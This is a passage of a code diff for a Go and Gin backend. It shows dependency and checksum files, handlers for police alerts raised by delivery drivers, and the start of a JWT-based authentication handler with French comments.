github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
|
||||
github.com/quic-go/qpack v0.5.1 // indirect
|
||||
github.com/quic-go/quic-go v0.54.0 // indirect
|
||||
github.com/redis/go-redis/v9 v9.17.0 // indirect
|
||||
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
|
||||
github.com/ugorji/go/codec v1.3.0 // indirect
|
||||
go.uber.org/mock v0.5.0 // indirect
|
||||
golang.org/x/arch v0.20.0 // indirect
|
||||
golang.org/x/crypto v0.40.0 // indirect
|
||||
golang.org/x/mod v0.25.0 // indirect
|
||||
golang.org/x/net v0.42.0 // indirect
|
||||
golang.org/x/sync v0.16.0 // indirect
|
||||
golang.org/x/sys v0.35.0 // indirect
|
||||
golang.org/x/text v0.27.0 // indirect
|
||||
golang.org/x/tools v0.34.0 // indirect
|
||||
google.golang.org/protobuf v1.36.9 // indirect
|
||||
)
|
||||
@@ -0,0 +1,115 @@
|
||||
github.com/bytedance/sonic v1.14.0 h1:/OfKt8HFw0kh2rj8N0F6C/qPGRESq0BbaNZgcNXXzQQ=
|
||||
github.com/bytedance/sonic v1.14.0/go.mod h1:WoEbx8WTcFJfzCe0hbmyTGrfjt8PzNEBdxlNUO24NhA=
|
||||
github.com/bytedance/sonic/loader v0.3.0 h1:dskwH8edlzNMctoruo8FPTJDF3vLtDT0sXZwvZJyqeA=
|
||||
github.com/bytedance/sonic/loader v0.3.0/go.mod h1:N8A3vUdtUebEY2/VQC0MyhYeKUFosQU6FxH2JmUe6VI=
|
||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/cloudwego/base64x v0.1.6 h1:t11wG9AECkCDk5fMSoxmufanudBtJ+/HemLstXDLI2M=
|
||||
github.com/cloudwego/base64x v0.1.6/go.mod h1:OFcloc187FXDaYHvrNIjxSe8ncn0OOM8gEHfghB2IPU=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78=
|
||||
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc=
|
||||
github.com/gabriel-vasile/mimetype v1.4.9 h1:5k+WDwEsD9eTLL8Tz3L0VnmVh9QxGjRmjBvAG7U/oYY=
|
||||
github.com/gabriel-vasile/mimetype v1.4.9/go.mod h1:WnSQhFKJuBlRyLiKohA/2DtIlPFAbguNaG7QCHcyGok=
|
||||
github.com/gin-contrib/cors v1.7.6 h1:3gQ8GMzs1Ylpf70y8bMw4fVpycXIeX1ZemuSQIsnQQY=
|
||||
github.com/gin-contrib/cors v1.7.6/go.mod h1:Ulcl+xN4jel9t1Ry8vqph23a60FwH9xVLd+3ykmTjOk=
|
||||
github.com/gin-contrib/sessions v1.0.4 h1:ha6CNdpYiTOK/hTp05miJLbpTSNfOnFg5Jm2kbcqy8U=
|
||||
github.com/gin-contrib/sessions v1.0.4/go.mod h1:ccmkrb2z6iU2osiAHZG3x3J4suJK+OU27oqzlWOqQgs=
|
||||
github.com/gin-contrib/sse v1.1.0 h1:n0w2GMuUpWDVp7qSpvze6fAu9iRxJY4Hmj6AmBOU05w=
|
||||
github.com/gin-contrib/sse v1.1.0/go.mod h1:hxRZ5gVpWMT7Z0B0gSNYqqsSCNIJMjzvm6fqCz9vjwM=
|
||||
github.com/gin-gonic/gin v1.11.0 h1:OW/6PLjyusp2PPXtyxKHU0RbX6I/l28FTdDlae5ueWk=
|
||||
github.com/gin-gonic/gin v1.11.0/go.mod h1:+iq/FyxlGzII0KHiBGjuNn4UNENUlKbGlNmc+W50Dls=
|
||||
github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
|
||||
github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
|
||||
github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
|
||||
github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
|
||||
github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
|
||||
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
|
||||
github.com/go-playground/validator/v10 v10.27.0 h1:w8+XrWVMhGkxOaaowyKH35gFydVHOvC0/uWoy2Fzwn4=
|
||||
github.com/go-playground/validator/v10 v10.27.0/go.mod h1:I5QpIEbmr8On7W0TktmJAumgzX4CA1XNl4ZmDuVHKKo=
|
||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
||||
github.com/goccy/go-yaml v1.18.0 h1:8W7wMFS12Pcas7KU+VVkaiCng+kG8QiFeFwzFb+rwuw=
|
||||
github.com/goccy/go-yaml v1.18.0/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
|
||||
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/context v1.1.2 h1:WRkNAv2uoa03QNIc1A6u4O7DAGMUVoopZhkiXWA2V1o=
|
||||
github.com/gorilla/context v1.1.2/go.mod h1:KDPwT9i/MeWHiLl90fuTgrt4/wPcv75vFAZLaOOcbxM=
|
||||
github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA=
|
||||
github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo=
|
||||
github.com/gorilla/sessions v1.4.0 h1:kpIYOp/oi6MG/p5PgxApU8srsSw9tuFbt46Lt7auzqQ=
|
||||
github.com/gorilla/sessions v1.4.0/go.mod h1:FLWm50oby91+hl7p/wRxDth9bWSuk0qVL2emc7lT5ik=
|
||||
github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=
|
||||
github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
|
||||
github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
|
||||
github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
|
||||
github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
|
||||
github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw=
|
||||
github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
|
||||
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
|
||||
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/quic-go/qpack v0.5.1 h1:giqksBPnT/HDtZ6VhtFKgoLOWmlyo9Ei6u9PqzIMbhI=
|
||||
github.com/quic-go/qpack v0.5.1/go.mod h1:+PC4XFrEskIVkcLzpEkbLqq1uCoxPhQuvK5rH1ZgaEg=
|
||||
github.com/quic-go/quic-go v0.54.0 h1:6s1YB9QotYI6Ospeiguknbp2Znb/jZYjZLRXn9kMQBg=
|
||||
github.com/quic-go/quic-go v0.54.0/go.mod h1:e68ZEaCdyviluZmy44P6Iey98v/Wfz6HCjQEm+l8zTY=
|
||||
github.com/redis/go-redis/v9 v9.17.0 h1:K6E+ZlYN95KSMmZeEQPbU/c++wfmEvfFB17yEAq/VhM=
|
||||
github.com/redis/go-redis/v9 v9.17.0/go.mod h1:u410H11HMLoB+TP67dz8rL9s6QW2j76l0//kSOd3370=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
|
||||
github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
|
||||
github.com/ugorji/go/codec v1.3.0 h1:Qd2W2sQawAfG8XSvzwhBeoGq71zXOC/Q1E9y/wUcsUA=
|
||||
github.com/ugorji/go/codec v1.3.0/go.mod h1:pRBVtBSKl77K30Bv8R2P+cLSGaTtex6fsA2Wjqmfxj4=
|
||||
go.uber.org/mock v0.5.0 h1:KAMbZvZPyBPWgD14IrIQ38QCyjwpvVVV6K/bHl1IwQU=
|
||||
go.uber.org/mock v0.5.0/go.mod h1:ge71pBPLYDk7QIi1LupWxdAykm7KIEFchiOqd6z7qMM=
|
||||
golang.org/x/arch v0.20.0 h1:dx1zTU0MAE98U+TQ8BLl7XsJbgze2WnNKF/8tGp/Q6c=
|
||||
golang.org/x/arch v0.20.0/go.mod h1:bdwinDaKcfZUGpH09BB7ZmOfhalA8lQdzl62l8gGWsk=
|
||||
golang.org/x/crypto v0.40.0 h1:r4x+VvoG5Fm+eJcxMaY8CQM7Lb0l1lsmjGBQ6s8BfKM=
|
||||
golang.org/x/crypto v0.40.0/go.mod h1:Qr1vMER5WyS2dfPHAlsOj01wgLbsyWtFn/aY+5+ZdxY=
|
||||
golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w=
|
||||
golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
|
||||
golang.org/x/net v0.42.0 h1:jzkYrhi3YQWD6MLBJcsklgQsoAcw89EcZbJw8Z614hs=
|
||||
golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8=
|
||||
golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw=
|
||||
golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
|
||||
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/text v0.27.0 h1:4fGWRpyh641NLlecmyl4LOe6yDdfaYNrGb2zdfo4JV4=
|
||||
golang.org/x/text v0.27.0/go.mod h1:1D28KMCvyooCX9hBiosv5Tz/+YLxj0j7XhWjpSUF7CU=
|
||||
golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo=
|
||||
golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg=
|
||||
google.golang.org/protobuf v1.36.9 h1:w2gp2mA27hUeUzj9Ex9FBjsBm40zfaDtEWow293U7Iw=
|
||||
google.golang.org/protobuf v1.36.9/go.mod h1:fuxRtAxBytpl4zzqUh6/eyUujkJdNiuEkXntxiD/uRU=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -0,0 +1,211 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func AlertPolice(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||
return
|
||||
}
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
usernameStr := username.(string)
|
||||
alert, err := database.CreateAlert(usernameStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(200, gin.H{
|
||||
"success": true,
|
||||
"message": "Police alert created",
|
||||
"alert_id": alert.ID,
|
||||
"user": alert.Username,
|
||||
})
|
||||
}
|
||||
|
||||
func DeleteAlert(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
alertIDStr := c.Param("id")
|
||||
alertID, err := strconv.Atoi(alertIDStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID d'alerte invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
err = database.DeleteAlertPolicy(alertID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(200, gin.H{
|
||||
"success": true,
|
||||
"message": "Alert deleted",
|
||||
})
|
||||
}
|
||||
|
||||
func GetAlert(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
alertIDStr := c.Param("id")
|
||||
alertID, err := strconv.Atoi(alertIDStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID d'alerte invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
alert, err := database.GetAlertPolicy(alertID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(200, gin.H{
|
||||
"success": true,
|
||||
"alert": alert,
|
||||
})
|
||||
}
|
||||
|
||||
// EndAlert permet au livreur de mettre fin à son alerte active
|
||||
func EndAlert(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||
return
|
||||
}
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
|
||||
alertIDStr := c.Param("id")
|
||||
alertID, err := strconv.Atoi(alertIDStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID d'alerte invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
|
||||
// Vérifier que l'alerte appartient bien à ce livreur
|
||||
alert, err := database.GetAlertPolicy(alertID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Alerte non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
if alert.Username != usernameStr {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Cette alerte ne vous appartient pas"})
|
||||
return
|
||||
}
|
||||
|
||||
// Mettre fin à l'alerte en changeant le statut à false
|
||||
err = database.EndAlert(alertID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de mettre fin à l'alerte", "details": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Alerte terminée avec succès",
|
||||
"alert_id": alertID,
|
||||
"user": usernameStr,
|
||||
})
|
||||
}
|
||||
|
||||
// GetMyAlerts permet au livreur de voir ses alertes
|
||||
func GetMyAlerts(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||
return
|
||||
}
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
|
||||
alerts, err := database.GetAlertsByUsername(usernameStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de récupérer les alertes", "details": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"alerts": alerts,
|
||||
"count": len(alerts),
|
||||
"user": usernameStr,
|
||||
})
|
||||
}
|
||||
|
||||
func GetAllAlerts(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
|
||||
return
|
||||
}
|
||||
|
||||
alerts, err := database.GetAllAlerts()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de récupérer les alertes", "details": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"alerts": alerts,
|
||||
"count": len(alerts),
|
||||
})
|
||||
}
|
||||
|
||||
// GetActiveAlerts permet aux admins de voir toutes les alertes actives
|
||||
func GetActiveAlerts(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
|
||||
return
|
||||
}
|
||||
|
||||
alerts, err := database.GetActiveAlerts()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de récupérer les alertes", "details": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"alerts": alerts,
|
||||
"count": len(alerts),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,741 @@
|
||||
// ============================================
|
||||
// handlers/auth_handlers_REFACTORED.go
|
||||
// ============================================
|
||||
// Version simplifiée sans les middlewares
|
||||
// Les middlewares sont maintenant dans middleware/middleware_CORRIGES.go
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"gestion/db"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/golang-jwt/jwt/v5"
|
||||
"github.com/google/uuid"
|
||||
"golang.org/x/crypto/bcrypt"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// TYPES JWT CLAIMS (Duplicés dans middleware aussi)
|
||||
// ============================================
|
||||
|
||||
type ClientClaims struct {
|
||||
ClientID int `json:"client_id"`
|
||||
Username string `json:"username"`
|
||||
Role string `json:"role"`
|
||||
SessionID string `json:"session_id"`
|
||||
jwt.RegisteredClaims
|
||||
}
|
||||
|
||||
type AdminClaims struct {
|
||||
UserID int `json:"user_id"`
|
||||
Username string `json:"username"`
|
||||
Role string `json:"role"`
|
||||
SessionID string `json:"session_id"`
|
||||
jwt.RegisteredClaims
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// STRUCTURES REQUÊTE / RÉPONSE
|
||||
// ============================================
|
||||
|
||||
type LoginRequest struct {
|
||||
Username string `json:"username" binding:"required"`
|
||||
Password string `json:"password" binding:"required"`
|
||||
}
|
||||
|
||||
type RegisterClientRequest struct {
|
||||
Username string `json:"username" binding:"required,min=3,max=50"`
|
||||
Password string `json:"password" binding:"required,min=8"`
|
||||
Nom string `json:"nom" binding:"required,min=2,max=100"`
|
||||
Prenom string `json:"prenom" binding:"required,min=2,max=100"`
|
||||
Telephone string `json:"telephone" binding:"required"`
|
||||
}
|
||||
|
||||
type RegisterAdminRequest struct {
|
||||
Username string `json:"username" binding:"required,min=3,max=50"`
|
||||
Password string `json:"password" binding:"required,min=8"`
|
||||
Role string `json:"role" binding:"required,oneof=admin cabine livreur"`
|
||||
}
|
||||
|
||||
type LoginResponse struct {
|
||||
AccessToken string `json:"access_token"`
|
||||
TokenType string `json:"token_type"`
|
||||
ExpiresIn int `json:"expires_in"`
|
||||
User interface{} `json:"user"`
|
||||
}
|
||||
|
||||
type ProfileResponse struct {
|
||||
Username string `json:"username"`
|
||||
Role string `json:"role"`
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// VARIABLES & CONSTANTS
|
||||
// ============================================
|
||||
|
||||
var (
|
||||
clientTokenDuration = 5 * time.Hour
|
||||
adminTokenDuration = 2 * time.Hour
|
||||
userJWTSecret = []byte(os.Getenv("USER_JWT_SECRET")) // ✅ Pour clients
|
||||
adminJWTSecret = []byte(os.Getenv("ADMIN_JWT_SECRET")) // ✅ Pour admin/cabine/livreur
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// UTILITAIRES
|
||||
// ============================================
|
||||
|
||||
func generateSessionID() string {
|
||||
bytes := make([]byte, 16)
|
||||
rand.Read(bytes)
|
||||
return hex.EncodeToString(bytes)
|
||||
}
|
||||
|
||||
// validatePhoneNumber valide le format du numéro de téléphone
|
||||
func validatePhoneNumber(phone string) bool {
|
||||
// Supprimer espaces/tirets
|
||||
clean := regexp.MustCompile(`[\s\-\(\)]`).ReplaceAllString(phone, "")
|
||||
|
||||
// Format international ou national
|
||||
validFormat := regexp.MustCompile(`^(\+33|0)[1-9]\d{8}$`)
|
||||
return validFormat.MatchString(clean)
|
||||
}
|
||||
|
||||
func normalizePhoneNumber(phone string) string {
|
||||
clean := regexp.MustCompile(`[\s\-\(\)]`).ReplaceAllString(phone, "")
|
||||
|
||||
// Convertir 06... en +336...
|
||||
if strings.HasPrefix(clean, "0") {
|
||||
return "+33" + clean[1:]
|
||||
}
|
||||
return clean
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GENERATION TOKENS
|
||||
// ============================================
|
||||
|
||||
func generateClientToken(client *models.Client) (string, error) {
|
||||
sessionID := generateSessionID()
|
||||
claims := ClientClaims{
|
||||
ClientID: client.ID,
|
||||
Username: client.Username,
|
||||
Role: "client",
|
||||
SessionID: sessionID,
|
||||
RegisteredClaims: jwt.RegisteredClaims{
|
||||
ExpiresAt: jwt.NewNumericDate(time.Now().Add(clientTokenDuration)),
|
||||
IssuedAt: jwt.NewNumericDate(time.Now()),
|
||||
NotBefore: jwt.NewNumericDate(time.Now()),
|
||||
Issuer: "api-client",
|
||||
Subject: strconv.Itoa(client.ID),
|
||||
},
|
||||
}
|
||||
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
|
||||
tokenString, err := token.SignedString(userJWTSecret) // ✅ UTILISER userJWTSecret (CLIENT)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return tokenString, nil
|
||||
}
|
||||
|
||||
func generateAdminToken(user *models.User) (string, error) {
|
||||
sessionID := generateSessionID()
|
||||
claims := AdminClaims{
|
||||
UserID: user.ID,
|
||||
Username: user.Username,
|
||||
Role: user.Role, // ← "admin" ou "cabine" ou "livreur"
|
||||
